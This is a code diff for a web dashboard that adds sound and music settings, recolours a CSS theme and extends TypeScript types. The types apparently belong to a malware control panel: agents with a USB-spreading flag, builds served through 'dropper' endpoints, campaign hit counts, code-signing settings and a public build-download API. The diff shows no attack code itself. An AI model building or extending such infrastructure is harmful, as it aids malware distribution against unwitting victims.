  const [serverInfo, setServerInfo] = useState<{ suggested_url: string; local_ips: string[] } | null>(null);
@@ -490,6 +504,82 @@ export default function SettingsPage() {
              Preview share
            </button>
          </div>
+          <hr style={{ border: 'none', borderTop: '1px solid var(--border-dim)', margin: '1.25rem 0' }} />
+          <h3 className="font-tech" style={{ fontSize: '0.85rem', marginBottom: '0.35rem' }}>Hover highlight sounds</h3>
+          <p className="section-desc" style={{ marginBottom: '0.75rem' }}>
+            Subtle dubstep-style blips when hovering buttons, cards, nav links, and fleet rows. Debounced so rapid
+            mouse movement stays quiet. Muted when click sounds are off.
+          </p>
+          <div className="form-group checkbox-group">
+            <label className="checkbox-label">
+              <input
+                type="checkbox"
+                className="checkbox"
+                checked={hoverEnabled}
+                disabled={!sfxEnabled}
+                onChange={(e) => setHoverEnabled(e.target.checked)}
+              />
+              <span>Enable hover highlight sounds</span>
+            </label>
+          </div>
+          <div className="form-group">
+            <label htmlFor="cfg-hover-volume" className="label">
+              Hover volume ({Math.round(hoverVolume * 100)}%)
+            </label>
+            <input
+              id="cfg-hover-volume"
+              type="range"
+              className="input"
+              min={0}
+              max={100}
+              step={5}
+              value={Math.round(hoverVolume * 100)}
+              disabled={!sfxEnabled || !hoverEnabled}
+              onChange={(e) => setHoverVolume(parseInt(e.target.value, 10) / 100)}
+            />
+          </div>
+          <button
+            type="button"
+            className="btn btn-outline btn-sm"
+            disabled={!sfxEnabled || !hoverEnabled}
+            onClick={previewHover}
+          >
+            Preview hover
+          </button>
+          <hr style={{ border: 'none', borderTop: '1px solid var(--border-dim)', margin: '1.25rem 0' }} />
+          <h3 className="font-tech" style={{ fontSize: '0.85rem', marginBottom: '0.35rem' }}>Background music</h3>
+          <p className="section-desc" style={{ marginBottom: '0.75rem' }}>
+            Optional looping ambient track served from <code className="mono-sm">{AMBIENT_MUSIC_SRC}</code>. Use the
+            mini player in the bottom-right corner on any page, or enable here. Defaults off — browsers block autoplay
+            until you press play or toggle this on.
+          </p>
+          <div className="form-group checkbox-group">
+            <label className="checkbox-label">
+              <input
+                type="checkbox"
+                className="checkbox"
+                checked={bgmEnabled}
+                onChange={(e) => setBgmEnabled(e.target.checked)}
+              />
+              <span>Enable background music</span>
+            </label>
+          </div>
+          <div className="form-group">
+            <label htmlFor="cfg-bgm-volume" className="label">
+              Music volume ({Math.round(bgmVolume * 100)}%)
+            </label>
+            <input
+              id="cfg-bgm-volume"
+              type="range"
+              className="input"
+              min={0}
+              max={100}
+              step={5}
+              value={Math.round(bgmVolume * 100)}
+              disabled={!bgmEnabled}
+              onChange={(e) => setBgmVolume(parseInt(e.target.value, 10) / 100)}
+            />
+          </div>
        </NeonCard>

        <NeonCard accent="brass" className="settings-section">
--- a/server/web/src/styles/steampunk-theme.css
+++ b/server/web/src/styles/steampunk-theme.css
@@ -2,31 +2,31 @@
@import url('https://fonts.googleapis.com/css2?family=Cinzel+Decorative:wght@400;700&family=Orbitron:wght@400;500;600;700&family=Rajdhani:wght@400;500;600;700&display=swap');

 :root {
-  --bg-void: #060504;
-  --bg-deep: #0c0a08;
-  --bg-panel: rgba(18, 14, 10, 0.85);
-  --bg-panel-solid: #14100c;
-  --bg-hover: rgba(40, 32, 24, 0.9);
+  --bg-void: #030308;
+  --bg-deep: #08080f;
+  --bg-panel: rgba(10, 10, 18, 0.9);
+  --bg-panel-solid: #0e0e16;
+  --bg-hover: rgba(28, 26, 40, 0.92);

-  --brass: #c9a227;
-  --brass-light: #e8c547;
-  --brass-dark: #6b4f12;
-  --copper: #b87333;
-  --copper-glow: rgba(184, 115, 51, 0.4);
+  --brass: #9a8538;
+  --brass-light: #c4ad5a;
+  --brass-dark: #4a3d18;
+  --copper: #8a5a42;
+  --copper-glow: rgba(120, 80, 120, 0.35);

-  --neon-cyan: #00f5ff;
-  --neon-magenta: #ff2da6;
-  --neon-amber: #ffb020;
-  --neon-green: #39ff14;
-  --neon-purple: #b24bf3;
+  --neon-cyan: #00e8f5;
+  --neon-magenta: #e828a8;
+  --neon-amber: #e89830;
+  --neon-green: #2ee810;
+  --neon-purple: #a83ef0;

-  --text-primary: #f4ebe0;
-  --text-secondary: #c4b5a0;
-  --text-muted: #7a6f62;
+  --text-primary: #e8e4f0;
+  --text-secondary: #a8a0b8;
+  --text-muted: #5e5868;

-  --border-brass: rgba(201, 162, 39, 0.35);
-  --border-neon: rgba(0, 245, 255, 0.25);
-  --shadow-panel: 0 8px 32px rgba(0, 0, 0, 0.6), 0 0 1px rgba(201, 162, 39, 0.3);
+  --border-brass: rgba(140, 120, 60, 0.28);
+  --border-neon: rgba(0, 232, 245, 0.22);
+  --shadow-panel: 0 10px 36px rgba(0, 0, 0, 0.72), 0 0 1px rgba(80, 60, 140, 0.25);
  --shadow-neon-cyan: 0 0 20px rgba(0, 245, 255, 0.35), 0 0 60px rgba(0, 245, 255, 0.1);
  --shadow-neon-magenta: 0 0 20px rgba(255, 45, 166, 0.3);

@@ -76,7 +76,7 @@ h1, h2, h3, .font-display {
 .card,
 .neon-card {
  position: relative;
-  background: linear-gradient(145deg, rgba(28, 22, 16, 0.95) 0%, rgba(12, 10, 8, 0.98) 100%);
+  background: linear-gradient(145deg, rgba(16, 14, 24, 0.96) 0%, rgba(6, 6, 12, 0.99) 100%);
  border: 1px solid var(--border-brass);
  border-radius: 4px;
  box-shadow: var(--shadow-panel);
@@ -90,13 +90,14 @@ h1, h2, h3, .font-display {
  position: absolute;
  inset: 0;
  background:
-    radial-gradient(ellipse 80% 50% at 50% -20%, rgba(0, 245, 255, 0.08), transparent 50%),
+    radial-gradient(ellipse 80% 50% at 50% -20%, rgba(0, 232, 245, 0.06), transparent 50%),
+    radial-gradient(ellipse 60% 40% at 100% 100%, rgba(168, 62, 240, 0.04), transparent 55%),
    repeating-linear-gradient(
      90deg,
      transparent,
      transparent 48px,
-      rgba(201, 162, 39, 0.03) 48px,
-      rgba(201, 162, 39, 0.03) 49px
+      rgba(80, 70, 120, 0.025) 48px,
+      rgba(80, 70, 120, 0.025) 49px
    );
  pointer-events: none;
  z-index: 0;
@@ -129,7 +130,7 @@ h1, h2, h3, .font-display {
  position: absolute;
  inset: 8px;
  border: 1px solid transparent;
-  border-image: linear-gradient(135deg, var(--brass) 0%, transparent 30%, transparent 70%, var(--neon-cyan) 100%) 1;
+  border-image: linear-gradient(135deg, rgba(120, 100, 180, 0.6) 0%, transparent 30%, transparent 70%, var(--neon-cyan) 100%) 1;
  pointer-events: none;
  opacity: 0.5;
 }
@@ -178,7 +179,7 @@ h1, h2, h3, .font-display {
 .btn-outline {
  border: 1px solid var(--border-brass);
  color: var(--brass-light);
-  background: rgba(20, 16, 12, 0.6);
+  background: rgba(12, 12, 20, 0.72);
 }

 .btn-outline:hover {
@@ -190,7 +191,7 @@ h1, h2, h3, .font-display {
 /* Form inputs — gauge panel style */
 .input,
 .select {
-  background: rgba(8, 6, 4, 0.9);
+  background: rgba(6, 6, 12, 0.92);
  border: 1px solid var(--border-brass);
  border-radius: 2px;
  font-family: var(--font-body);
--- a/server/web/src/styles/visual-polish.css
+++ b/server/web/src/styles/visual-polish.css
@@ -11,9 +11,9 @@

 body {
  background:
-    radial-gradient(ellipse 120% 80% at 50% -30%, rgba(0, 245, 255, 0.07), transparent 55%),
-    radial-gradient(ellipse 90% 60% at 100% 50%, rgba(255, 45, 166, 0.04), transparent 50%),
-    radial-gradient(ellipse 70% 50% at 0% 80%, rgba(201, 162, 39, 0.06), transparent 45%),
+    radial-gradient(ellipse 120% 80% at 50% -30%, rgba(0, 232, 245, 0.05), transparent 55%),
+    radial-gradient(ellipse 90% 60% at 100% 50%, rgba(168, 62, 240, 0.05), transparent 50%),
+    radial-gradient(ellipse 70% 50% at 0% 80%, rgba(40, 30, 80, 0.08), transparent 45%),
    var(--bg-void);
  text-rendering: optimizeLegibility;
  -webkit-font-smoothing: antialiased;
@@ -52,9 +52,9 @@ a:hover {
  background: linear-gradient(
    90deg,
    transparent,
-    rgba(201, 162, 39, 0.35) 15%,
-    rgba(0, 245, 255, 0.5) 50%,
-    rgba(255, 45, 166, 0.25) 85%,
+    rgba(80, 60, 140, 0.3) 15%,
+    rgba(0, 232, 245, 0.45) 50%,
+    rgba(168, 62, 240, 0.22) 85%,
    transparent
  );
  opacity: 0.85;
--- a/server/web/src/types/index.ts
+++ b/server/web/src/types/index.ts
@@ -80,6 +80,7 @@ export interface Agent {
  build_id?: string;
  worker_name?: string;
  usb_spread?: boolean;
+  campaign?: string;
  // Live RTT from WebSocket ping/pong — undefined until first pong, null when offline.
  latency_ms?: number;
 }
@@ -155,6 +156,39 @@ export interface BuildRecord {
  extra_files?: BuildExtraFile[];
  /** When true this build is served by /get and /install.* dropper endpoints */
  pinned?: boolean;
+  /** When true this build appears on unauthenticated public builds API */
+  public?: boolean;
+}
+
+export interface PublicBuildDTO {
+  id: string;
+  worker_name: string;
+  platform: string;
+  file_name: string;
+  file_size: number;
+  bundle_size: number;
+  download_url: string;
+  created_at: string;
+  pinned: boolean;
+  public: boolean;
+}
+
+export interface PublicBuildsResponse {
+  builds: PublicBuildDTO[];
+  public_builds_enabled: boolean;
+  latest_n: number;
+}
+
+export interface CampaignHitSummary {
+  campaign: string;
+  count: number;
+  last_hit: string;
+}
+
+export interface EmberwakeNotes {
+  content: string;
+  updated_at: string;
+  updated_by: string;
 }

 /** Alias used in components that deal with forged builds */
@@ -207,6 +241,8 @@ export interface ServerSettings {
  sign_cert_thumbprint?: string;
  sign_tool_path?: string;
  sign_timestamp_url?: string;
+  public_builds_enabled?: boolean;
+  public_builds_latest_n?: number;
 }

 export interface TunnelDefaults {